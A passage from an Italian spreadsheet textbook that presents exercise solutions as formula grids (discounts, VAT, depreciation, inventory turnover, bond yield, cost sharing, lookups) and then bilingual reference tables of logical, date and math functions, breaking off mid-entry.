12	1 gennaio		=SOMMA(C3:C11)		=SOMMA(E3:E11)	=SOMMA(F3:F11)
13				consistenza media:	=F12/E12	
14				indice di rotazione:	=C12/E13	
15				giacenza media:	=E12/E14	

122.7.2.1

0,4012 equivale a 40,12 %.

122.7.2.2

12,34 % equivale a 0,1234.

122.7.2.3

100 % equivale a 1.

122.7.4

	A	B	C	D	E
1	valore originale	percentuale dello sconto	percentuale del netto rimanente	valore dello sconto	valore del netto rimanente
2	10000	5,00%	=1-B2	=A2*B2	=A2*C2
3	2000	10,00%	=1-B3	=A3*B3	=A3*C3
4	15000	3,00%	=1-B4	=A4*B4	=A4*C4

122.7.5

	A	B	C	D	E	F	G
1	valore originale	percentuale del primo sconto	percentuale del secondo sconto	percentuale del netto rimanente	valore del primo sconto	valore del secondo sconto	valore del netto rimanente
2	10000	5,00%	1,00%	=(1-B2)*(1-C2)	=A2*B2	=(A2-E2)*C2	=A2*D2
3	2000	10,00%	2,00%	=(1-B3)*(1-C3)	=A3*B3	=(A3-E3)*C3	=A3*D3
4	15000	3,00%	1,50%	=(1-B4)*(1-C4)	=A4*B4	=(A4-E4)*C4	=A4*D4

Esercizio	Soluzione

122.10.2

	A	B
1	**=E#RIF!**	=A7/3*A2
2	**=CERCA.VERT("aaa";K8:M98;2)**	=B5*3/A5
3	=A4+B3*A7	=A1+1*A4
4	**=H7:H9**	=SOMMA(A3;B3;B1)
5	**=1/(10-10)**	**=1/POTENZA(10;1000)**
6	=A5*3*A1	=A2*B2
7	**=funzione.inesistente()**	=B1/B3

122.11.2

	A	B	C	D	E	F	G
1	Qualità media della merce						
2	quantità consegnata	prezzo unitario	importo fattura	quantità scartata	valore scartato	percentuale scartata	percentuale buona
3	1000	€ 1,50	=A3*B3	200	=B3*D3	=E3/C3	=(C3-E3)/C3
4	2000	€ 1,20	=A4*B4	100	=B4*D4	=E4/C4	=(C4-E4)/C4
5	1500	€ 1,30	=A5*B5	150	=B5*D5	=E5/C5	=(C5-E5)/C5
6	3000	€ 1,00	=A6*B6	300	=B6*D6	=E6/C6	=(C6-E6)/C6
7	2500	€ 1,20	=A7*B7	100	=B7*D7	=E7/C7	=(C7-E7)/C7
8	=SOMMA(A3:A7)		=SOMMA(C3:C7)	=SOMMA(D3:D7)	=SOMMA(E3:E7)	=E8/C8	=(C8-E8)/C8
9					min	=MIN(F3:F7)	=MIN(G3:G7)
10					media	=MEDIA(F3:F7)	=MEDIA(G3:G7)
11					max	=MAX(F3:F7)	=MAX(G3:G7)

122.11.4

	A	B	C
1	imponibile	aliquota	imposta
2	12345,67	4%	=ARROTONDA.ECCESSO(A2*B2;0,01)
3	2345,67	10%	=ARROTONDA.ECCESSO(A3*B3;0,01)
4	345,67	20%	=ARROTONDA.ECCESSO(A4*B4;0,01)

122.11.5

	A	B	C
1	importo della cambiale	percentuale	bollo da applicare
2	12325,67	1,20%	=ARROTONDA.ECCESSO(A2*B2;0,05)
3	2345,67	1,20%	=ARROTONDA.ECCESSO(A3*B3;0,05)
4	335,67	1,20%	=ARROTONDA.ECCESSO(A4*B4;0,05)

122.11.7

	A	B	C	D	E
1	100,00	123,45	222,00	11,23	importo
2	10%	20%	10%	20%	percentuale sconto
3	=A1*A2	=B1*B2	=C1*C2	=D1*D2	sconto
4					
5			Totale sconti al	10%	=SOMMA.SE(A2:D2;D5;A3:D3)
6			Totale sconti al	20%	=SOMMA.SE(A2:D2;D6;A3:D3)

122.12.3

	A	B	C	D	E	F	G
1	A:	99			A:	ciao ciao	
2	B:	124			B:	bye bye	
3							
4		A è uguale a B?	=B$1=B$2			A è uguale a B?	=F$1=F$2
5		A è diverso da B?	=B$1<>B$2			A è diverso da B?	=F$1<>F$2
6		A è minore di B?	=B$1<B$2			A è minore di B?	=F$1<F$2
7		A è maggiore di B?	=B$1>B$2			A è maggiore di B?	=F$1>F$2
8		A è minore o uguale a B?	=B$1<=B$2			A è minore o uguale a B?	=F$1<=F$2
9		A è maggiore o uguale a B?	=B$1>=B$2			A è maggiore o uguale a B?	=F$1>=F$2

Esercizio	Soluzione

122.12.5

	A	B	C	D	E	F
1	A	B	A AND B	A OR B	NOT A	NOT B
2	=FALSO()	=FALSO()	=E(A2;B2)	=O(A2;B2)	=NON(A2)	=NON(B2)
3	=FALSO()	=VERO()	=E(A3;B3)	=O(A3;B3)	=NON(A3)	=NON(B3)
4	=VERO()	=FALSO()	=E(A4;B4)	=O(A4;B4)	=NON(A4)	=NON(B4)
5	=VERO()	=VERO()	=E(A5;B5)	=O(A5;B5)	=NON(A5)	=NON(B5)

122.12.7

	A	B	C	D	E
1	A:	99		A:	ciao ciao
2	B:	124		B:	bye bye
3					
4	=SE(B$1=B$2;"A è uguale a B";"--")			=SE(E$1=E$2;"A è uguale a B";"--")	
5	=SE(B$1<>B$2;"A è diverso da B";"--")			=SE(E$1<>E$2;"A è diverso da B";"--")	
6	=SE(B$1<B$2;"A è minore di B";"--")			=SE(E$1<E$2;"A è minore di B";"--")	
7	=SE(B$1>B$2;"A è maggiore di B";"--")			=SE(E$1>E$2;"A è maggiore di B";"--")	
8	=SE(B$1<=B$2;"A è minore o uguale a B";"--")			=SE(E$1<=E$2;"A è minore o uguale a B";"--")	
9	=SE(B$1>=B$2;"A è maggiore o uguale a B";"--")			=SE(E$1>=E$2;"A è maggiore o uguale a B";"--")	

122.12.8

	A	B	C	D	E
1	piano di ammortamento				
2					
3	anno	costo storico	percentuale di ammortamento	quota di ammortamento	fondo ammortamento
4					
5	1	€ 20.000,00	11%	=B5*C5	=D5
6	2	€ 20.000,00	11%	=SE(B6-E5>=B6*C6;B6*C6;B6-E5)	=D6+E5
7	3	€ 20.000,00	11%	=SE(B7-E6>=B7*C7;B7*C7;B7-E6)	=D7+E6
8	4	€ 20.000,00	11%	=SE(B8-E7>=B8*C8;B8*C8;B8-E7)	=D8+E7
9	5	€ 20.000,00	11%	=SE(B9-E8>=B9*C9;B9*C9;B9-E8)	=D9+E8
10	6	€ 20.000,00	11%	=SE(B10-E9>=B10*C10;B10*C10;B10-E9)	=D10+E9
11	7	€ 20.000,00	11%	=SE(B11-E10>=B11*C11;B11*C11;B11-E10)	=D11+E10
12	8	€ 20.000,00	11%	=SE(B12-E11>=B12*C12;B12*C12;B12-E11)	=D12+E11
13	9	€ 20.000,00	11%	=SE(B13-E12>=B13*C13;B13*C13;B13-E12)	=D13+E12
14	10	€ 20.000,00	11%	=SE(B14-E13>=B14*C14;B14*C14;B14-E13)	=D14+E13
15	11	€ 20.000,00	11%	=SE(B15-E14>=B15*C15;B15*C15;B15-E14)	=D15+E14

122.13.4

	A	B	C	D	E	F	G
1	indice di affidabilità del fornitore						
2	data ordine	data di consegna prevista	T tempo a disposizione	data di consegna effettiva	R giorni di ritardo	I valore complessivo della merce	R/T*I
3	01/03	10/03	=B3-A3	13/03	=D3-B3	€ 1.530,00	=E3/C3*F3
4	15/03	31/03	=B4-A4	30/03	=D4-B4	€ 1.531,00	=E4/C4*F4
5	30/03	10/04	=B5-A5	15/04	=D5-B5	€ 1.532,00	=E5/C5*F5
6	04/04	13/04	=B6-A6	16/04	=D6-B6	€ 1.533,00	=E6/C6*F6
7	25/04	14/05	=B7-A7	19/05	=D7-B7	€ 1.534,00	=E7/C7*F7
8	30/04	15/05	=B8-A8	20/05	=D8-B8	€ 1.535,00	=E8/C8*F8
9	01/05	18/05	=B9-A9	21/05	=D9-B9	€ 1.536,00	=E9/C9*F9
10					totali:	**=SOMMA(F3:F9)**	**=SOMMA(G3:G9)**
11						ritardo medio:	**=G10/F10**

Esercizio	Soluzione

122.13.5

	A	B	C	D	E	F
1	consistenza media					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza X permanenza
3	01/07			1000	=A4-A3	=D3*E3
4	15/07	123		=D3+B4-C4	=A5-A4	=D4*E4
5	20/07		234	=D4+B5-C5	=A6-A5	=D5*E5
6	30/08	122		=D5+B6-C6	=A7-A6	=D6*E6
7	15/09		100	=D6+B7-C7	=A8-A7	=D7*E7
8	20/10		345	=D7+B8-C8	=A9-A8	=D8*E8
9	01/11		233	=D8+B9-C9	=A10-A9	=D9*E9
10	30/11	1234		=D9+B10-C10	=A11-A10	=D10*E10
11	15/12		455	=D10+B11-C11	=A12-A11	=D11*E11
12	31/12			totali:	**=SOMMA(E3:E11)**	**=SOMMA(F3:F11)**
13					consistenza media:	**=F12/E12**

122.13.6

	A	B	C	D	E	F
1	consistenza media, indice di rotazione, durata media di permanenza					
2	data	quantità caricata	quantità scaricata	esistenza	giorni di permanenza	esistenza X permanenza
3	01/07			1000	=A4-A3	=D3*E3
4	15/07	123		=D3+B4-C4	=A5-A4	=D4*E4
5	20/07		234	=D4+B5-C5	=A6-A5	=D5*E5
6	30/08	122		=D5+B6-C6	=A7-A6	=D6*E6
7	15/09		100	=D6+B7-C7	=A8-A7	=D7*E7
8	20/10		345	=D7+B8-C8	=A9-A8	=D8*E8
9	01/11		233	=D8+B9-C9	=A10-A9	=D9*E9
10	30/11	1234		=D9+B10-C10	=A11-A10	=D10*E10
11	15/12		455	=D10+B11-C11	=A12-A11	=D11*E11
12	31/12	totali:	**=SOMMA(C4:C11)**	totali:	**=SOMMA(E3:E11)**	**=SOMMA(F3:F11)**
13					consistenza media:	**=F12/E12**
14					indice di rotazione:	**=C12/F13**
15					durata media di permanenza:	**=E12/F14**

122.13.7

	A	B	C
1	Calcolo del rendimento effettivo		
2		Titolo 1	Titolo 2
3	imposta sostitutiva	12,50%	=B3
4	data odierna	18 mag 2005	=B4
5	data di emissione	19 gen 2003	15 mar 2004
6	data di rimborso	19 gen 2013	15 mar 2014
7	corso di emissione	99,50%	97,00%
8	rendimento	5,00%	4,50%
9	corso secco di acquisto	96,25%	92,70%
10	commissione bancaria	0,30%	0,30%
11			
12	scarto di emissione	=1-B7	=1-C7
13	tempo trascorso in giorni	=B4-B5	=C4-C5
14	durata complessiva in giorni	=B6-B5	=C6-C5
15	tempo rimanente	=B6-B4	=C6-C4
16	commissione bancaria riferita al corso secco di acquisto	=B9*B10	=C9*C10
17	imposta sul corso secco di acquisto per il periodo trascorso	=B12*B3*B13/B14	=C12*C3*C13/C14
18	costo percentuale di acquisto	=B9+B16-B17	=C9+C16-C17
19	interesse annuo netto	=B8-(B8*B3)	=C8-(C8*C3)
20	tasso effettivo	=B19/B18	=C19/C18
21	imposta sostitutiva sullo scarto di emissione	=B12*B3	=C12*C3
22	valore netto di rimborso percentuale	=1-B21	=1-C21
23	guadagno o perdita di capitale	=B22-B18	=C22-C18
24	guadagno o perdita riferita a un anno	=B23*365/B15	=C23*365/C15
25	tasso effettivo di rendimento con rimborso	**=B20+B24**	**=C20+C24**

122.15.1

	A	B	C	D	E	F
1		Scale interne	Illuminazione parti comuni		ripartizione spese di pulizia scale	ripartizione spese di illuminazione
2	Tizio	200	150		=E$9/B$9*B2	=F$9/C$9*C2
3	Caio	50	100		=E$9/B$9*B3	=F$9/C$9*C3
4	Sempronio	200	150		=E$9/B$9*B4	=F$9/C$9*C4
5	Mevio	200	150		=E$9/B$9*B5	=F$9/C$9*C5
6	Filano	50	100		=E$9/B$9*B6	=F$9/C$9*C6
7	Martino	50	100		=E$9/B$9*B7	=F$9/C$9*C7
8	Calpurnio	250	250		=E$9/B$9*B8	=F$9/C$9*C8
9		=SOMMA(B2:B8)	=SOMMA(C2:C8)		€ 1.250,00	€ 2.350,00

Esercizio	Soluzione

122.15.2

	A	B	C	D	E	F	G
1		Scale interne	Illuminazione parti comuni		ripartizione spese di pulizia scale	ripartizione spese di illuminazione	Spese per le piante di Tizio, Caio e Sempronio
2	Tizio	200	150		=E$9/B$9*B2	=F$9/C$9*C2	=G$9/SOMMA(B$2:B$4)*B2
3	Caio	50	100		=E$9/B$9*B3	=F$9/C$9*C3	=G$9/SOMMA(B$2:B$4)*B3
4	Sempronio	200	150		=E$9/B$9*B4	=F$9/C$9*C4	=G$9/SOMMA(B$2:B$4)*B4
5	Mevio	200	150		=E$9/B$9*B5	=F$9/C$9*C5	
6	Filano	50	100		=E$9/B$9*B6	=F$9/C$9*C6	
7	Martino	50	100		=E$9/B$9*B7	=F$9/C$9*C7	
8	Calpurnio	250	250		=E$9/B$9*B8	=F$9/C$9*C8	
9		=SOMMA(B2:B8)	=SOMMA(C2:C8)		€ 1.250,00	€ 2.350,00	€ 250,00

122.15.3

	A	B	C	D	E
1	aliquote	operazione principale		spese non documentate	
2				€ 530,00	
3		imponibile	IVA	imponibile	IVA
4	4%	€ 1.200,00	=ARROTONDA.ECCESSO(B4*A4;0,01)	=ARROTONDA(D$2/SOMMA(B$4:B$6)*B4;2)	=ARROTONDA.ECCESSO(D4*A4;0,01)
5	10%	€ 2.400,00	=ARROTONDA.ECCESSO(B5*A5;0,01)	=ARROTONDA(D$2/SOMMA(B$4:B$6)*B5;2)	=ARROTONDA.ECCESSO(D5*A5;0,01)
6	20%	€ 5.000,00	=ARROTONDA.ECCESSO(B6*A6;0,01)	=ARROTONDA(D$2/SOMMA(B$4:B$6)*B6;2)	=ARROTONDA.ECCESSO(D6*A6;0,01)

122.16.2

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	=(1/(1-B2)-1)	=A2*C2+A2	=D2*B2
3	€ 1.500,00	1,20%	=(1/(1-B3)-1)	=A3*C3+A3	=D3*B3
4	€ 2.000,00	1,20%	=(1/(1-B4)-1)	=A4*C4+A4	=D4*B4

122.16.3

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	=(1/(1-B2)-1)	=ARROTONDA.ECCESSO(A2*C2;0,01)+A2	=ARROTONDA.ECCESSO(D2*B2;0,01)
3	€ 1.500,00	1,20%	=(1/(1-B3)-1)	=ARROTONDA.ECCESSO(A3*C3;0,01)+A3	=ARROTONDA.ECCESSO(D3*B3;0,01)
4	€ 2.000,00	1,20%	=(1/(1-B4)-1)	=ARROTONDA.ECCESSO(A4*C4;0,01)+A4	=ARROTONDA.ECCESSO(D4*B4;0,01)

122.16.4

	A	B	C	D	E
1	t	b	B	T	bollo
2	€ 1.000,00	1,20%	=(1/(1-B2)-1)	=ARROTONDA.ECCESSO(A2*C2;0,05)+A2	=ARROTONDA.ECCESSO(D2*B2;0,05)
3	€ 1.500,00	1,20%	=(1/(1-B3)-1)	=ARROTONDA.ECCESSO(A3*C3;0,05)+A3	=ARROTONDA.ECCESSO(D3*B3;0,05)
4	€ 2.000,00	1,20%	=(1/(1-B4)-1)	=ARROTONDA.ECCESSO(A4*C4;0,05)+A4	=ARROTONDA.ECCESSO(D4*B4;0,05)

122.17.2

	A	B	C	D	E
1	codice:	3			
2	cognome:	=CERCA.VERT(B1;C3:E7;3;0)	**codice**	**nome**	**cognome**
3	nome:	=CERCA.VERT(B1;C3:E7;2;0)	1	Tizio	Tizi
4			2	Caio	Cai
5			3	Sempronio	Semproni
6			4	Mevio	Mevi
7			5	Filano	Filani

122.17.4

	A	B	C	D	E	F
1	codice:	3				
2	cognome:	=CERCA.ORIZZ(B1;B5:F7;3;0)				
3	nome:	=CERCA.ORIZZ(B1;B5:F7;2;0)				
4						
5	codice	1	2	3	4	5
6	nome	Tizio	Caio	Sempronio	Mevio	Filano
7	cognome	Tizi	Cai	Semproni	Mevi	Filani

122.28 Riepilogo delle funzioni comuni

Tabella 122.308. Elenco delle funzioni logiche, comuni nei fogli elettronici, in versione inglese e in versione italiana.

Funzione	Descrizione

`AND(`***x*** `,` ***y*** `[ ,` ***z*** `] ...)`
 	
`E(`***x*** `;` ***y*** `[ ;` ***z*** `] ...)`
	AND. Restituisce *Vero* se tutti gli argomenti hanno un valore pari a *Vero*. Gli argomenti devono essere almeno due.

`OR(`***x*** `,` ***y*** `[ ,` ***z*** `] ...)`
 	
`O(`***x*** `;` ***y*** `[ ;` ***z*** `] ...)`
	OR. Restituisce *Vero* se almeno uno degli argomenti ha valore pari a *Vero*. Gli argomenti devono essere almeno due.

`NOT(`***x***`)`
 	
`NON(`***x***`)`
	NOT. Restituisce *Vero* se l'argomento ha un valore pari a *Falso* e viceversa.

`TRUE()`
 	
`VERO()`
	Restituisce il valore corrispondente a *Vero*.

`FALSE()`
 	
`FALSO()`
	Restituisce il valore corrispondente a *Falso*.

Tabella 122.309. Elenco delle funzioni temporali, comuni nei fogli elettronici, in versione inglese e in versione italiana.

Funzione	Descrizione

`NOW()`
 	
`ADESSO()`
	Produce la data e l'orario attuale, sulla base dell'orologio del sistema operativo.

`YEARS(`***data_iniziale*** `,` ***data_finale*** `, 0 | 1)`
 	
`ANNI(`***data_iniziale*** `;` ***data_finale*** `; 0 | 1)`
	Calcola il tempo trascorso tra due date, restituendo la quantità di anni. Se l'ultimo argomento è zero, si ottengono gli anni interi del calendario; se l'ultimo argomento è uno, si ottiene la quantità di anni, come quella che determina l'età di una persona.

`YEAR(`***data***`)`
 	
`ANNO(`***data***`)`
	Estrae l'anno da una data, restituendolo come numero intero.

`ISLEAPYEAR(`***data***`)`
 	
`ANNO.BISESTILE(`***data***`)`
	Restituisce uno (pari a *Vero*) se l'anno della data indicata è bisestile, altrimenti restituisce zero (pari a *Falso*).

`DATE(`***anno*** `,` ***mese*** `,` ***giorno***`)`
 	
`DATA(`***anno*** `;` ***mese*** `;` ***giorno***`)`
	Data. Produce il valore corrispondente alla data specificata con gli argomenti.

Funzione	Descrizione

`EDATE(`***data*** `,` ***mesi***`)`
 	
`DATA.MESE(`***data*** `;` ***mesi***`)`
	Restituisce una data, ottenuta partendo da quella fornita come primo argomento, sommando algebricamente la quantità di mesi fornita come secondo.

`DATEVALUE(`***stringa***`)`
 	
`DATA.VALORE(`***stringa***`)`
	Restituisce una data, ottenuta trasformando la stringa fornita come argomento. In altri termini, converte una data rappresentata in forma testuale, secondo la convenzione locale, nel valore numerico corrispondente.

`EASTERSUNDAY(`***anno***`)`
 	
`DOMENICA.DI.PASQUA(`***anno***`)`
	Restituisce la data corrispondente alla domenica di pasqua dell'anno fornito come argomento.

`EOMONTH(`***data*** `,` ***mesi***`)`
 	
`FINE.MESE(`***data*** `;` ***mesi***`)`
	È simile alla funzione ***DATA.MESE()***, con la differenza che restituisce la data di fine mese.

`YEARFRAC(`***data_iniziale*** `,` ***data_finale***`)`
 	
`FRAZIONE.ANNO(`***data_iniziale*** `;` ***data_finale***`)`
	Restituisce la distanza tra le due date fornite, espressa come quantità di anni e decimali di anni (per esempio, 1,5 esprimerebbe la distanza di un anno e mezzo).

`DAYS(`***data_iniziale*** `,` ***data_finale***`)`
 	
`GIORNI(`***data_iniziale*** `;` ***data_finale***`)`
	Restituisce la distanza tra le due date fornite, espressa come quantità di giorni (equivale a fare una sottrazione tra due date).

`DAYSINYEAR(`***data***`)`
 	
`GIORNI.ANNO(`***data***`)`
	Restituisce la quantità di giorni dell'anno relativo alla data fornita come argomento.

`DAYSINMONTH(`***data***`)`
 	
`GIORNI.MESE(`***data***`)`
	Restituisce la quantità di giorni del mese relativo alla data fornita come argomento.

`DAY(`***data***`)`
 	
`GIORNO(`***data***`)`
	Restituisce il giorno del mese, come numero intero, dalla data fornita come argomento.

`WEEKDAY(`***data*** `,` `1` | `2)`
 	
`GIORNO.SETTIMANA(`***data*** `;` `1` | `2)`
	Restituisce il giorno della settimana, in forma di numero intero. Se il secondo argomento è uno, la domenica è pari a uno e lunedì è pari a due; se il secondo argomento è due, la domenica è pari a sette e lunedì è pari a uno.

`MONTH(`***data***`)`
 	
`MESE(`***data***`)`
	Estrae il mese da una data, restituendolo come numero intero.

Funzione	Descrizione

`MONTHS(`***data_iniziale*** `,` ***data_finale*** `,` `0` | `1)`
 	
`MESI(`***data_iniziale*** `;` ***data_finale*** `;` `0` | `1)`
	Calcola il tempo trascorso tra due date, restituendo la quantità di mesi. Se l'ultimo argomento è zero, si ottengono i mesi interi del calendario; se l'ultimo argomento è uno, si ottiene la quantità di mesi, tenendo conto delle frazioni, da un'estremità e dall'altra.

`MINUTE(`***data***`)`
 	
`MINUTO(`***data***`)`
	Restituisce i minuti dell'ora (da 0 a 59), come numero intero, dalla data (contenente anche un'informazione oraria) fornita come argomento.

`WEEKNUM(`***data*** `,` `1` | `0)`
 	
`NUM.SETTIMANA(`***data*** `;` `1` | `0)`
	Restituisce il numero della settimana dell'anno, corrispondente alla data fornita. Se il secondo argomento è uno, la settimana inizia con la domenica; qualunque altro valore per il secondo argomento, indica un inizio della settimana con il lunedì.

`TODAY()`
 	
`OGGI()`
	Produce la data, senza informazione oraria, sulla base dell'orologio del sistema operativo.

`HOUR(`***data***`)`
 	
`ORA(`***data***`)`
	Restituisce l'ora (da 0 a 23), come numero intero, dalla data (contenente anche un'informazione oraria) fornita come argomento.

`TIME(`***ore*** `,` ***minuti*** `,` ***secondi***`)`
 	
`ORARIO(`***ore*** `;` ***minuti*** `;` ***secondi***`)`
	Orario. Produce il valore corrispondente all'orario specificato con gli argomenti.

`TIMEVALUE(`***stringa***`)`
 	
`ORARIO.VALORE(`***stringa***`)`
	Restituisce un orario, ottenuto trasformando la stringa fornita come argomento. In altri termini, converte un orario rappresentato in forma testuale, secondo la convenzione locale, nel valore numerico corrispondente.

`SECOND(`***data***`)`
 	
`SECONDO(`***data***`)`
	Restituisce i secondi dell'ora (da 0 a 59), come numero intero, dalla data (contenente anche un'informazione oraria) fornita come argomento.

`WEEKS(`***data_iniziale*** `,` ***data_finale*** `,` `0` | `1)`
 	
`SETTIMANE(`***data_iniziale*** `;` ***data_finale*** `;` `0` | `1)`
	Calcola il tempo trascorso tra due date, restituendo la quantità di settimane. Se l'ultimo argomento è zero, si ottengono le settimane intere del calendario; se l'ultimo argomento è uno, si ottiene la quantità di settimane, arrotondando il valore ottenuto.

`WEEKSINYEAR(`***data***`)`
 	
`SETTIMANE.ANNO(`***data***`)`
	Restituisce la quantità di settimane contenuta nell'anno della data indicata.

Tabella 122.310. Elenco delle funzioni matematiche, comuni nei fogli elettronici, in versione inglese e in versione italiana.

Funzione	Descrizione
`ROUND(`***n*** `,` ***decimali***`)` `ARROTONDA(`***n*** `;` ***decimali***`)`	Restituisce il valore fornito come primo argomento, arrotondato, in modo da utilizzare al massimo la quantità di decimali indicata con il secondo argomento. Se la quantità di decimali è un valore negativo, si intende che l'arrotondamento deve avvenire a una certa potenza di 10. Per esempio, '**`=ARROTONDA(123,45;-2)`**' restituisce 100.
`FLOOR(`***n*** `,` ***multiplo***`)` `ARROTONDA.DIFETTO(`***n*** `;` ***multiplo***`)`	Restituisce il valore fornito come primo argomento, arrotondato per difetto al multiplo specificato come secondo argomento. Il segno del valore multiplo deve essere coerente con quello del valore da arrotondare.
`CEILING(`***n*** `,` ***multiplo***`)` `ARROTONDA.ECCESSO(`***n*** `;` ***multiplo***`)`	Restituisce il valore fornito come primo argomento, arrotondato per eccesso al multiplo specificato come secondo argomento. Il segno del valore multiplo deve essere coerente con quello del valore da arrotondare.
`MROUND(`***n*** `,` ***multiplo***`)` `ARROTONDA.MULTIPLO(`***n*** `;` ***multiplo***`)`	Restituisce il valore fornito come primo argomento, arrotondato al multiplo specificato come secondo argomento. Il segno del valore multiplo deve essere coerente con quello del valore da arrotondare.
`ROUNDDOWN(`***n*** `,` ***decimali***`)` `ARROTONDA.PER.DIF(`***n*** `;` ***decimali***`)`	Restituisce il valore fornito come primo argomento, arrotondato per difetto, in modo da utilizzare al massimo la quantità di decimali indicata con il secondo argomento. Se la quantità di decimali è un valore negativo, si intende che l'arrotondamento deve avvenire a una certa potenza di 10. Per esempio, '**`=ARROTONDA.PER.DIF(123,45;-2)`**' restituisce 100.
`ROUNDUP(`***n*** `,` ***decimali***`)` `ARROTONDA.PER.ECC(`***n*** `;` ***decimali***`)`	Restituisce il valore fornito come primo argomento, arrotondato per eccesso, in modo da utilizzare al massimo la quantità di decimali indicata con il secondo argomento. Se la quantità di decimali è un valore negativo, si intende che l'arrotondamento deve avvenire a una certa potenza di 10. Per esempio, '**`=ARROTONDA.PER.ECC(123,45;-2)`**' restituisce 200.
`ABS(`***n***`)` `ASS(`***n***`)`	Restituisce il valore assoluto di quanto fornito come argomento.
`RAND()` `CASUALE()`	Restituisce un numero casuale compreso tra zero e uno.
`RANDBETWEEN(`***min*** `,` ***max***`)` `CASUALE.TRA(`***min*** `;` ***max***`)`	Restituisce un numero casuale intero, compreso tra i valori specificati come argomenti della chiamata.

Funzione	Descrizione
`COMBINA(`***complessivi*** `;` ***n***`)`	Restituisce la quantità di combinazioni possibili, con ripetizione, da un insieme di ***complessivi*** elementi, traendo combinazione di ***n*** elementi.
`COMBINAZIONE(`***complessivi*** `;` ***n***`)`	Restituisce la quantità di combinazioni possibili, senza ripetizione, da un insieme di ***complessivi*** elementi, traendo combinazione di ***n*** elementi.
`COUNTIF(`***zona*** `,` ***valore_cercato***`)` `CONTA.SE(`***zona*** `;` ***valore_cercato***`)`	Nella zona specificata come primo argomento, conta e restituisce la quantità di celle che corrisponde al valore o dato cercato (secondo argomento).
`COUNTBLANK(`***zona***`)` `CONTA.VUOTE(`***zona***`)`	Restituisce la quantità di celle vuote, presenti in una certa zona.
`ODD(`***n***`)` `DISPARI(`***n***`)`	Restituisce numero intero dispari, approssimando quanto fornito come argomento. Se l'argomento è costituito da un valore positivo, il risultato viene approssimato per eccesso; se invece l'argomento è un valore negativo, l'approssimazione si ottiene per difetto.
`EXP(`***potenza***`)` `EXP(`***potenza***`)`	Restituisce $e^{potenza}$, ovvero il valore che risulta elevando ***e*** (il numero naturale, pari a circa 2,718) a quanto fornito come argomento della funzione.
`FACT(`***n***`)` `FATTORIALE(`***n***`)`	Restituisce ***n***!, ovvero il fattoriale dell'argomento fornito, del quale si considera solo la parte intera.
`DEGREES(`***radianti***`)` `GRADI(`***radianti***`)`	Converte un valore espresso in radianti, traducendolo in gradi sessagesimali ($2\pi = 360°$).
`INT(`***n***`)` `INT(`***n***`)`	In linea di principio, restituisce la porzione intera del numero fornito come argomento; in pratica, si tratta di un arrotondamento per difetto, all'intero. Per esempio, '**`=INT(-123,45)`**' produce il valore −124.
`LN(`***n***`)` `LN(`***n***`)`	Restituisce il logaritmo naturale del valore fornito come argomento.
`LOG(`***n*** `,` ***base***`)` `LOG(`***n*** `;` ***base***`)`	Restituisce il logaritmo di un numero alla base specificata come secondo argomento.
`LOG10(`***n***`)` `LOG10(`***n***`)`	Restituisce il logaritmo in base dieci di un numero.

Funzione	Descrizione

`GCD(`***n*** [`,` ***n***] ...`)`
 	
`MCD(`***n*** [`;` ***n***] ...`)`
	Restituisce il massimo comune divisore degli argomenti forniti, i quali devono corrispondere a valori numerici interi.

`LCM(`***n*** [`,` ***n***] ...`)`
 	
`MCM(`***n*** [`;` ***n***] ...`)`
	Restituisce il minimo comune multiplo degli argomenti forniti, i quali devono corrispondere a valori numerici interi.

`MULTINOMIAL(`***n*** [`,` ***n***] ...`)`
 	
`MULTINOMIALE(`***n*** [`;` ***n***] ...`)`
	Restituisce il coefficiente multinomiale degli argomenti forniti, i quali devono corrispondere a valori numerici.

`EVEN(`***n***`)`
 	
`PARI(`***n***`)`
	Restituisce numero intero pari, approssimando quanto fornito come argomento. Se l'argomento è costituito da un valore positivo, il risultato viene approssimato per eccesso; se invece l'argomento è un valore negativo, l'approssimazione si ottiene per difetto.

`PI()`
 	
`PI.GRECO()`
	Restituisce il valore corrispondente a π.

`POWER(`***base*** `,` ***esponente***`)`
 	
`POTENZA(`***base*** `;` ***esponente***`)`
	Restituisce il valore del primo argomento elevato alla potenza del secondo. In pratica: $\boldsymbol{base}^{\boldsymbol{esponente}}$.

`PRODUCT(`***n*** [`,` ***n***] ...`)`
 	
`PRODOTTO(`***n*** [`;` ***n***] ...`)`
	Restituisce il prodotto di tutti gli argomenti forniti, i quali possono essere rappresentati anche da zone di celle.

`QUOTIENT(`***dividendo*** `,` ***divisore***`)`
 	
`QUOZIENTE(`***dividendo*** `;` ***divisore***`)`
	Restituisce il quoziente della divisione (il risultato intero).

`RADIANS(`***gradi***`)`
 	
`RADIANTI(`***gradi***`)`
	Converte un valore espresso in gradi, traducendolo in radianti (360° = 2π).

`SQRT(`***n***`)`
 	
`RADQ(`***n***`)`
	Restituisce la radice quadrata di un numero positivo.

`MOD(`***dividendo*** `,` ***divisore***`)`
 	
`RESTO(`***dividendo*** `;` ***divisore***`)`
	Restituisce il resto della divisione.

`SIGN(`***n***`)`
 	
`SEGNO(`***n***`)`
	Restituisce il segno di un numero: se il valore dell'argomento è positivo, restituisce +1, se è negativo restituisce −1, se è zero, restituisce zero.

Funzione	Descrizione

`SUM(`***n*** [**,** ***n***] ...`)`
 	
`SOMMA(`***n*** [**;** ***n***] ...`)`
	Restituisce la somma di tutti gli argomenti forniti, i quali possono anche essere costituiti da zone di celle.

`SUMSQ(`***n*** [**,** ***n***] ...`)`
 	
`SOMMA.Q(`***n*** [**;** ***n***] ...`)`
	Restituisce la somma dei quadrati di tutti gli argomenti forniti, i quali possono anche essere costituiti da zone di celle.

`SUMIF(`***zona_di_confronto*** **;** ↩ ↪ ***valore_da_confrontare*** **;** ↩ ↪ ***zona_da_sommare*** `)` `SOMMA.SE(`***zona_di_confronto*** **;** ↩ ↪ ***valore_da_confrontare*** **;** ↩ ↪ ***zona_da_sommare*** `)`	Somma i contenuti della zona che costituisce l'ultimo argomento, sulla base del confronto di un certo valore (fornito come secondo argomento) con i contenuti di una zona di confronto (il primo argomento).

`TRUNC(`***n*** **,** ***decimali*** `)`
 	
`TRONCA(`***n*** **;** ***decimali*** `)`
